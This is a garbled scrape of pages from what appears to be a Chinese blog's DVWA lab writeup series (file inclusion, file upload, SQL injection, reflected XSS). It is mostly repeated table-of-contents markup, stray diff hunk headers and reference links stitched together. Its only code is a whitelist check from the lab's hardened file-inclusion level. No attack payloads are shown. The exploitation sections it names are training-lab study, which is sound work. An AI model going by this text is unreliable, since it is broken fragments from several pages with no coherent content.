href="#%E6%9C%AC%E5%9C%B0%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%EF%BC%88Local-File-Inclusion-LFI%EF%BC%89-1"><span class="toc-text">本地文件包含（Local File Inclusion, LFI）</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#%E8%BF%9C%E7%A8%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%EF%BC%88Remote-File-Inclusion-RFI%EF%BC%89-1"><span class="toc-text">远程文件包含（Remote File Inclusion, RFI）</span></a></li></ol></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#High"><span class="toc-text">High</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90-2"><span class="toc-text">源码解析</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8-2"><span class="toc-text">漏洞利用</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#%E6%9C%AC%E5%9C%B0%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%EF%BC%88Local-File-Inclusion-LFI%EF%BC%89-2"><span class="toc-text">本地文件包含（Local File Inclusion, LFI）</span></a></li></ol></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8F%82%E9%98%85-1"><span class="toc-text">参阅</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Impossioble"><span class="toc-text">Impossioble</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90-3"><span class="toc-text">源码解析</span></a></li></ol></li></ol></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div class="aside-list-item"><a class="thumbnail" href="/2024/02/24/Other/NVIDIA%20Omniverse%20Audio%20%E7%B3%BB%E5%88%97%E5%B7%A5%E5%85%B7%E4%BD%BF%E7%94%A8/" title="NVIDIA Omniverse Audio 系列工具使用"><img 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+<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// The page we wish to display</span></span><br><span class="line"><span class="variable">$file</span> = <span class="variable">$_GET</span>[ <span class="string">&#x27;page&#x27;</span> ];</span><br><span class="line"></span><br><span class="line"><span class="comment">// Only allow include.php or file&#123;1..3&#125;.php</span></span><br><span class="line"><span class="keyword">if</span>( <span class="variable">$file</span> != <span class="string">&quot;include.php&quot;</span> &amp;&amp; <span class="variable">$file</span> != <span class="string">&quot;file1.php&quot;</span> &amp;&amp; <span class="variable">$file</span> != <span class="string">&quot;file2.php&quot;</span> &amp;&amp; <span class="variable">$file</span> != <span class="string">&quot;file3.php&quot;</span> ) &#123;</span><br><span class="line">    <span class="comment">// This isn&#x27;t the page we want!</span></span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&quot;ERROR: File not found!&quot;</span>;</span><br><span class="line">    <span class="keyword">exit</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure></article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta"><i class="fas fa-circle-user fa-fw"></i>文章作者: </span><span class="post-copyright-info"><a target="_blank" rel="noopener" href="https://github.com/jckling">Jckling</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta"><i class="fas fa-square-arrow-up-right fa-fw"></i>文章链接: </span><span class="post-copyright-info"><a href="https://jckling.github.io/2020/04/23/Security/DVWA/4.%20File%20Inclusion/">https://jckling.github.io/2020/04/23/Security/DVWA/4. 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<br/>评论需要审核，请不要重复提交~</div></div><div class="sticky_layout"><div class="card-widget" id="card-toc"><div class="item-headline"><i class="fas fa-stream"></i><span>目录</span><span class="toc-percentage"></span></div><div class="toc-content"><ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#File-Inclusion"><span class="toc-text">File Inclusion</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#Low"><span class="toc-text">Low</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90"><span class="toc-text">源码解析</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8"><span class="toc-text">漏洞利用</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#%E6%9C%AC%E5%9C%B0%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%EF%BC%88Local-File-Inclusion-LFI%EF%BC%89"><span class="toc-text">本地文件包含（Local File Inclusion, LFI）</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#%E8%BF%9C%E7%A8%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%EF%BC%88Remote-File-Inclusion-RFI%EF%BC%89"><span class="toc-text">远程文件包含（Remote File Inclusion, RFI）</span></a></li></ol></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8F%82%E9%98%85"><span class="toc-text">参阅</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Medium"><span class="toc-text">Medium</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90-1"><span class="toc-text">源码解析</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8-1"><span class="toc-text">漏洞利用</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#%E6%9C%AC%E5%9C%B0%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%EF%BC%88Local-File-Inclusion-LFI%EF%BC%89-1"><span class="toc-text">本地文件包含（Local File Inclusion, LFI）</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#%E8%BF%9C%E7%A8%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%EF%BC%88Remote-File-Inclusion-RFI%EF%BC%89-1"><span class="toc-text">远程文件包含（Remote File Inclusion, RFI）</span></a></li></ol></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#High"><span class="toc-text">High</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90-2"><span class="toc-text">源码解析</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8-2"><span class="toc-text">漏洞利用</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#%E6%9C%AC%E5%9C%B0%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%EF%BC%88Local-File-Inclusion-LFI%EF%BC%89-2"><span class="toc-text">本地文件包含（Local File Inclusion, LFI）</span></a></li></ol></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8F%82%E9%98%85-1"><span class="toc-text">参阅</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Impossioble"><span class="toc-text">Impossioble</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90-3"><span class="toc-text">源码解析</span></a></li></ol></li></ol></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div class="aside-list-item"><a class="thumbnail" href="/2024/02/24/Other/NVIDIA%20Omniverse%20Audio%20%E7%B3%BB%E5%88%97%E5%B7%A5%E5%85%B7%E4%BD%BF%E7%94%A8/" title="NVIDIA Omniverse Audio 系列工具使用"><img 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@@ -236,7 +236,7 @@ <h3 id="参阅-2"><a href="#参阅-2" class="headerlink" title="参阅"></a>参
 <li><a target="_blank" rel="noopener" href="https://www.php.net/manual/zh/function.file-exists">PHP Manual - file_exists</a></li>
 <li><a target="_blank" rel="noopener" href="https://www.php.net/manual/zh/function.unlink">PHP Manual - unlink</a></li>
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-</article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta"><i class="fas fa-circle-user fa-fw"></i>文章作者: </span><span class="post-copyright-info"><a target="_blank" rel="noopener" href="https://github.com/jckling">Jckling</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta"><i class="fas fa-square-arrow-up-right fa-fw"></i>文章链接: </span><span class="post-copyright-info"><a href="https://jckling.github.io/2020/04/24/Security/DVWA/5.%20File%20Upload/">https://jckling.github.io/2020/04/24/Security/DVWA/5. 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@@ -290,7 +290,7 @@ <h3 id="参阅-3"><a href="#参阅-3" class="headerlink" title="参阅"></a>参
 <li><a target="_blank" rel="noopener" href="https://www.php.net/manual/zh/book.pdo.php">PHP Manual - PHP 数据对象</a></li>
 <li><a target="_blank" rel="noopener" href="https://www.php.net/manual/zh/class.pdo.php">PHP Manual - PDO 类</a></li>
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class="toc-link" href="#%E6%8E%A8%E6%B5%8B-SQL-%E6%9F%A5%E8%AF%A2%E7%9A%84%E5%AD%97%E6%AE%B5%E6%95%B0%E5%8F%8A%E9%A1%BA%E5%BA%8F"><span class="toc-text">推测 SQL 查询的字段数及顺序</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#%E6%95%B0%E6%8D%AE%E5%BA%93%E4%BF%A1%E6%81%AF"><span class="toc-text">数据库信息</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#%E6%95%B0%E6%8D%AE%E8%A1%A8%E4%BF%A1%E6%81%AF"><span class="toc-text">数据表信息</span></a></li></ol></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8F%82%E9%98%85"><span class="toc-text">参阅</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Medium"><span class="toc-text">Medium</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90-1"><span class="toc-text">源码解析</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8-1"><span class="toc-text">漏洞利用</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#%E5%88%A4%E6%96%AD%E7%B1%BB%E5%9E%8B-1"><span class="toc-text">判断类型</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#%E6%8E%A8%E6%B5%8B-SQL-%E6%9F%A5%E8%AF%A2%E7%9A%84%E5%AD%97%E6%AE%B5%E6%95%B0%E5%8F%8A%E9%A1%BA%E5%BA%8F-1"><span class="toc-text">推测 SQL 查询的字段数及顺序</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#%E6%95%B0%E6%8D%AE%E5%BA%93%E4%BF%A1%E6%81%AF-1"><span class="toc-text">数据库信息</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#%E6%95%B0%E6%8D%AE%E8%A1%A8%E4%BF%A1%E6%81%AF-1"><span class="toc-text">数据表信息</span></a></li></ol></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8F%82%E9%98%85-1"><span class="toc-text">参阅</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#High"><span class="toc-text">High</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90-2"><span class="toc-text">源码解析</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8-2"><span class="toc-text">漏洞利用</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8F%82%E9%98%85-2"><span class="toc-text">参阅</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Impossioble"><span class="toc-text">Impossioble</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90-3"><span class="toc-text">源码解析</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8F%82%E9%98%85-3"><span class="toc-text">参阅</span></a></li></ol></li></ol></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas 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class="toc-link" href="#%E6%8E%A8%E6%B5%8B-SQL-%E6%9F%A5%E8%AF%A2%E7%9A%84%E5%AD%97%E6%AE%B5%E6%95%B0%E5%8F%8A%E9%A1%BA%E5%BA%8F"><span class="toc-text">推测 SQL 查询的字段数及顺序</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#%E6%95%B0%E6%8D%AE%E5%BA%93%E4%BF%A1%E6%81%AF"><span class="toc-text">数据库信息</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#%E6%95%B0%E6%8D%AE%E8%A1%A8%E4%BF%A1%E6%81%AF"><span class="toc-text">数据表信息</span></a></li></ol></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8F%82%E9%98%85"><span class="toc-text">参阅</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Medium"><span class="toc-text">Medium</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90-1"><span class="toc-text">源码解析</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8-1"><span class="toc-text">漏洞利用</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#%E5%88%A4%E6%96%AD%E7%B1%BB%E5%9E%8B-1"><span class="toc-text">判断类型</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#%E6%8E%A8%E6%B5%8B-SQL-%E6%9F%A5%E8%AF%A2%E7%9A%84%E5%AD%97%E6%AE%B5%E6%95%B0%E5%8F%8A%E9%A1%BA%E5%BA%8F-1"><span class="toc-text">推测 SQL 查询的字段数及顺序</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#%E6%95%B0%E6%8D%AE%E5%BA%93%E4%BF%A1%E6%81%AF-1"><span class="toc-text">数据库信息</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#%E6%95%B0%E6%8D%AE%E8%A1%A8%E4%BF%A1%E6%81%AF-1"><span class="toc-text">数据表信息</span></a></li></ol></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8F%82%E9%98%85-1"><span class="toc-text">参阅</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#High"><span class="toc-text">High</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90-2"><span class="toc-text">源码解析</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8-2"><span class="toc-text">漏洞利用</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8F%82%E9%98%85-2"><span class="toc-text">参阅</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Impossioble"><span class="toc-text">Impossioble</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90-3"><span class="toc-text">源码解析</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8F%82%E9%98%85-3"><span class="toc-text">参阅</span></a></li></ol></li></ol></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas 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@@ -245,7 +245,7 @@ <h3 id="参阅-3"><a href="#参阅-3" class="headerlink" title="参阅"></a>参
 <li><a target="_blank" rel="noopener" href="https://www.php.net/manual/zh/function.is-null">PHP Manual - is_null</a></li>
 <li><a target="_blank" rel="noopener" href="https://www.php.net/manual/zh/function.htmlspecialchars">PHP Manual - htmlspecialchars</a></li>
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-</article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta"><i class="fas fa-circle-user fa-fw"></i>文章作者: </span><span class="post-copyright-info"><a target="_blank" rel="noopener" href="https://github.com/jckling">Jckling</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta"><i class="fas fa-square-arrow-up-right fa-fw"></i>文章链接: </span><span class="post-copyright-info"><a href="https://jckling.github.io/2020/04/25/Security/DVWA/10.%20XSS%20Reflected/">https://jckling.github.io/2020/04/25/Security/DVWA/10. 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toc-level-2"><a class="toc-link" href="#Medium"><span class="toc-text">Medium</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90-1"><span class="toc-text">源码解析</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8-1"><span class="toc-text">漏洞利用</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8F%82%E9%98%85-1"><span class="toc-text">参阅</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#High"><span class="toc-text">High</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90-2"><span class="toc-text">源码解析</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8-2"><span class="toc-text">漏洞利用</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8F%82%E9%98%85-2"><span class="toc-text">参阅</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Impossioble"><span class="toc-text">Impossioble</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90-3"><span class="toc-text">源码解析</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8F%82%E9%98%85-3"><span class="toc-text">参阅</span></a></li></ol></li></ol></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div class="aside-list-item"><a class="thumbnail" href="/2024/02/24/Other/NVIDIA%20Omniverse%20Audio%20%E7%B3%BB%E5%88%97%E5%B7%A5%E5%85%B7%E4%BD%BF%E7%94%A8/" title="NVIDIA Omniverse Audio 系列工具使用"><img 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@@ -280,7 +280,7 @@ <h3 id="参阅-3"><a href="#参阅-3" class="headerlink" title="参阅"></a>参
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class="toc-text">布尔型盲注入</span></a><ol class="toc-child"><li class="toc-item toc-level-5"><a class="toc-link" href="#%E5%88%A4%E6%96%AD%E7%B1%BB%E5%9E%8B"><span class="toc-text">判断类型</span></a></li><li class="toc-item toc-level-5"><a class="toc-link" href="#%E6%95%B0%E6%8D%AE%E5%BA%93%E4%BF%A1%E6%81%AF"><span class="toc-text">数据库信息</span></a></li><li class="toc-item toc-level-5"><a class="toc-link" href="#%E6%95%B0%E6%8D%AE%E8%A1%A8%E4%BF%A1%E6%81%AF"><span class="toc-text">数据表信息</span></a></li></ol></li><li class="toc-item toc-level-4"><a class="toc-link" href="#%E6%97%B6%E9%97%B4%E5%9E%8B%E7%9B%B2%E6%B3%A8%E5%85%A5"><span class="toc-text">时间型盲注入</span></a><ol class="toc-child"><li class="toc-item toc-level-5"><a class="toc-link" href="#%E5%88%A4%E6%96%AD%E7%B1%BB%E5%9E%8B-1"><span class="toc-text">判断类型</span></a></li><li class="toc-item toc-level-5"><a class="toc-link" href="#%E6%95%B0%E6%8D%AE%E5%BA%93%E4%BF%A1%E6%81%AF-1"><span class="toc-text">数据库信息</span></a></li><li class="toc-item toc-level-5"><a class="toc-link" href="#%E6%95%B0%E6%8D%AE%E8%A1%A8%E4%BF%A1%E6%81%AF-1"><span class="toc-text">数据表信息</span></a></li></ol></li></ol></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8F%82%E9%98%85"><span class="toc-text">参阅</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Medium"><span class="toc-text">Medium</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90-1"><span class="toc-text">源码解析</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8-1"><span class="toc-text">漏洞利用</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8F%82%E9%98%85-1"><span class="toc-text">参阅</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#High"><span class="toc-text">High</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90-2"><span class="toc-text">源码解析</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8-2"><span class="toc-text">漏洞利用</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8F%82%E9%98%85-2"><span class="toc-text">参阅</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Impossioble"><span class="toc-text">Impossioble</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90-3"><span class="toc-text">源码解析</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8F%82%E9%98%85-3"><span class="toc-text">参阅</span></a></li></ol></li></ol></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div 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toc-level-3"><a class="toc-link" href="#%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90-2"><span class="toc-text">源码解析</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8-2"><span class="toc-text">漏洞利用</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8F%82%E9%98%85-2"><span class="toc-text">参阅</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Impossioble"><span class="toc-text">Impossioble</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90-3"><span class="toc-text">源码解析</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8F%82%E9%98%85-3"><span class="toc-text">参阅</span></a></li></ol></li></ol></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div 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@@ -205,7 +205,7 @@ <h3 id="参阅-3"><a href="#参阅-3" class="headerlink" title="参阅"></a>参
 <li><a target="_blank" rel="noopener" href="https://www.php.net/manual/zh/function.mt-rand.php">PHP Manual - mt_rand</a></li>
 <li><a target="_blank" rel="noopener" href="https://www.php.net/manual/zh/function.sha1">PHP Manual - sha1</a></li>
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toc-level-2"><a class="toc-link" href="#Medium"><span class="toc-text">Medium</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90-1"><span class="toc-text">源码解析</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8-1"><span class="toc-text">漏洞利用</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8F%82%E9%98%85-1"><span class="toc-text">参阅</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#High"><span class="toc-text">High</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90-2"><span class="toc-text">源码解析</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8-2"><span class="toc-text">漏洞利用</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8F%82%E9%98%85-2"><span class="toc-text">参阅</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Impossioble"><span class="toc-text">Impossioble</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90-3"><span class="toc-text">源码解析</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8F%82%E9%98%85-3"><span class="toc-text">参阅</span></a></li></ol></li></ol></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div class="aside-list-item"><a class="thumbnail" href="/2024/02/24/Other/NVIDIA%20Omniverse%20Audio%20%E7%B3%BB%E5%88%97%E5%B7%A5%E5%85%B7%E4%BD%BF%E7%94%A8/" title="NVIDIA Omniverse Audio 系列工具使用"><img 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class="toc-link" href="#Medium"><span class="toc-text">Medium</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90-1"><span class="toc-text">源码解析</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8-1"><span class="toc-text">漏洞利用</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8F%82%E9%98%85-1"><span class="toc-text">参阅</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#High"><span class="toc-text">High</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90-2"><span class="toc-text">源码解析</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8-2"><span class="toc-text">漏洞利用</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8F%82%E9%98%85-2"><span class="toc-text">参阅</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Impossioble"><span class="toc-text">Impossioble</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90-3"><span class="toc-text">源码解析</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8F%82%E9%98%85-3"><span class="toc-text">参阅</span></a></li></ol></li></ol></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div class="aside-list-item"><a class="thumbnail" href="/2024/02/24/Other/NVIDIA%20Omniverse%20Audio%20%E7%B3%BB%E5%88%97%E5%B7%A5%E5%85%B7%E4%BD%BF%E7%94%A8/" title="NVIDIA Omniverse Audio 系列工具使用"><img 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(File Inclusion)"><img class="cover" src="https://i.loli.net/2021/06/14/aAsUJkFMvVpl4ro.png" alt="cover"><div class="content is-center"><div class="date"><i class="far fa-calendar-alt fa-fw"></i> 2020-04-23</div><div class="title">DVWA Writeup Part IV (File Inclusion)</div></div></a></div><div><a href="/2020/04/24/Security/DVWA/5.%20File%20Upload/" title="DVWA Writeup Part V (File Upload)"><img class="cover" src="https://i.loli.net/2021/06/14/aAsUJkFMvVpl4ro.png" alt="cover"><div class="content is-center"><div class="date"><i class="far fa-calendar-alt fa-fw"></i> 2020-04-24</div><div class="title">DVWA Writeup Part V (File Upload)</div></div></a></div></div></div><hr class="custom-hr"/><div id="post-comment"><div class="comment-head"><div class="comment-headline"><i class="fas fa-comments fa-fw"></i><span> 评论</span></div></div><div class="comment-wrap"><div><div id="waline-wrap"></div></div></div></div></div><div class="aside-content" id="aside-content"><div class="card-widget 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class="toc-link" href="#Medium"><span class="toc-text">Medium</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90-1"><span class="toc-text">源码解析</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8-1"><span class="toc-text">漏洞利用</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8F%82%E9%98%85-1"><span class="toc-text">参阅</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#High"><span class="toc-text">High</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90-2"><span class="toc-text">源码解析</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8-2"><span class="toc-text">漏洞利用</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8F%82%E9%98%85-2"><span class="toc-text">参阅</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Impossioble"><span class="toc-text">Impossioble</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90-3"><span 